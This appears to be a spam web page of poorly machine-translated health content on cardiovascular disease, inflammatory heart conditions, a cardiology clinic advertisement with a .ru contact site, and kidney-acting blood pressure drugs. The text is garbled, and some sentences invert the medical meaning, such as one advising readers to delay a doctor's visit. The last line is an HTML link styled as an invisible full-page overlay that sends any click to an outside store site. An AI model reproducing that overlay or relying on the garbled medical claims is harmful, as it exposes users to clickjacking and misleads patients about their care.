# Inflammatory diseases of the circulatory System #
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## Cardiovascular disease is what ##
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Cardiovascular Disease: Recognize. Prevent. Life.
What cardiovascular know-diseases really?
Cardiovascular diseases include a variety of diseases that affect the heart and blood vessels, high blood pressure and atherosclerosis to myocardial infarction and stroke. They are one of the most common causes of death worldwide, but many risk factors you can influence.
What are the main causes?
unhealthy diet
Lack of exercise
Smoking
chronic Stress
Overweight
How can you reduce your risk?
Every little Change counts:
More fruits and vegetables in your diet integrate
Regular physical activity (at least 30 minutes a day)
Waiver of nicotine
Stress management through relaxation techniques
Regular checkups at the doctor
Early detection saves lives.
Let your blood pressure, cholesterol and blood sugar checked regularly, especially if you belong to a risk group.
You worry about your heart ā it's working for you every day.
Talk with your doctor and develop a personalized prevention plan.
Your health is the most valuable thing you have.
</p>
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Inflammatory diseases of the cardiovascular system: Early detection saves lives!
Text:
Your heart and your circulatory system, the motor center of your body. But what to do if an inflammation is a threat to our vital organs?
Inflammatory diseases such as myocarditis, pericarditis, or Vasculitis can have serious consequences ā up to and including heart failure, or heart attack. Often the symptoms begin inconspicuously:
unexplained fatigue,
Chest pain,
Shortness of breath,
Swelling in the legs,
irregular heartbeat.
Why is early diagnosis important?
The sooner an inflammatory disease is detected and treated, the better the prospects for a full recovery, and the lower the risk of long-term damage to the heart.
What can you do?
You want to delay a visit to the doctor, if you notice these or any other unusual symptoms. Our specialist doctors for cardiology offer:
a comprehensive clarification with the most modern diagnostic methods (ECG, echocardiography, blood tests, MRI),
individual therapy according to the latest medical guidelines,
long-term care and follow-up.
Trust your heart ā and our experts.
Contact us now for an appointment:
š Telephone: 0800 8770120
š Website: https://cardio.nashi-veshi.ru
Your heart deserves the best possible care. You act in a timely manner!
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## High blood pressure of the renal drugs ##
<p>
Hypertension and the role of the kidney in the pharmacotherapy
High blood pressure, also called arterial hypertension, is a worldwide health problem that is associated with an increased risk for cardiovascular disease, stroke, and kidney damage. The kidney plays a Central role, not only as a body that can be affected by the hypertension, but also as an important starting point for the drug therapy.
Pathophysiological connection between the kidney and blood pressure
The kidney regulates blood pressure by several mechanisms:
the RenināAngiotensināaldosteroneāSystem (RAAS) activation;
the water and salt balance;
the production of vasodilators, such as Prostacyclin and bradykinin, as well as Vasoconstrictors.
In patients with hypertension, impaired renal function or excessive activity of the RAAS to a lasting increase in the peripheral vascular resistance and a volume expansion, both of which contributes to the maintenance of elevated blood pressure.
Drugs that act on the kidney
Numerous antihypertensive drugs, from, directly or indirectly, on kidney-related regulation processes:
ACE inhibitors (e.g., Enalapril, Ramipril):
the Angiotensināconverting enzyme (ACE), inhibit the formation of Angiotensin II to reduce;
lead to vasodilation and reduce Aldosterone secretion;
the kidney, especially in patients with Diabetes mellitus.
AT1āreceptor blocker (sartan drugs, such as Losartan, Valsartan):
blocking the effect of Angiotensin II to its receptors;
reduce the peripheral resistance, and relieve the burden on the kidney.
Diuretics (eg, hydrochlorothiazide, furosemide):
increase the excretion of sodium and water by the kidney;
the decrease blood volume and blood pressure;
are often used as first-line therapy or in combination therapies.
Aldosterone antagonists (e.g. spironolactone):
antagonistic to aldosterone, which promotes sodium excretion and potassium loss prevented;
particularly in the case of resistant hypertension is important.
Renin inhibitors (such as Aliskiren):
engage at an early stage in the RAAS, by inhibiting the release of Renin;
to reduce the overall activity of this blood-pressure-boosting system.
Clinical significance and individual therapy
The customized pharmacotherapy, taking into account the renal function is of crucial importance. In patients with reduced glomerular filtration rate (GFR) doses must be adjusted in order to avoid side effects and accumulation of active ingredients. In addition, the combination of different classes of Drugs ā such as an ACE Inhibitor with a diuretic can exert a synergistic effect, and the control of blood pressure improve.
Conclusion
The kidney is both a cause and a target organ for hypertension. Drug treatment aims to modulate renal-mediated regulatory mechanisms in order to achieve a long-term stable blood pressure and preserving renal function. An individual, in the kidneys power-adapted therapy is, therefore, essential for the success of the treatment of arterial hypertension.
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<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">Inflammatory diseases of the circulatory System</a>